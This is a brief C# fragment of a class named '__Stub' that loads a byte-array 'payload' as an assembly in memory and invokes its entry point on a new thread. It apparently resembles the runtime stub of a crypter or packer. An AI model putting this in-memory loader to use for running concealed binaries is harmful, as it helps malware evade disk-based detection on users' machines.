using System.Reflection; using System.Threading; public partial class __Stub { /// /// void Invoke(byte[] payload) /// public static void __Invoke(byte[] __payload) { Thread thread = new Thread(() => { Assembly.Load(__payload).EntryPoint.Invoke(null, new[] { __CommandLineArguments }); }); thread.TrySetApartmentState(ApartmentState.STA); thread.Start(); } }